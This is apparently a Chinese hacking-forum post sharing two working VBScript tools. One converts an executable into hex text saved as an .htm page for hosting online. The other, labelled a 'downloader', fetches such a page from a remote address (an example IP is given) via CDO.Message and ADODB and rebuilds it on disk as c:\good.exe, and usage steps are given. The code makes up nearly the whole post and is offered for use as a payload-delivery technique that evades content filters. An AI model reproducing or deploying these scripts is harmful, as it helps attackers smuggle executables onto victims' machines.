于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制
================================================
复制代码 代码如下:
'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================
下载者 down.vbs
=============
复制代码 代码如下:
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法：
1.exe2hex.vbs 把exe转成十六进制，放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe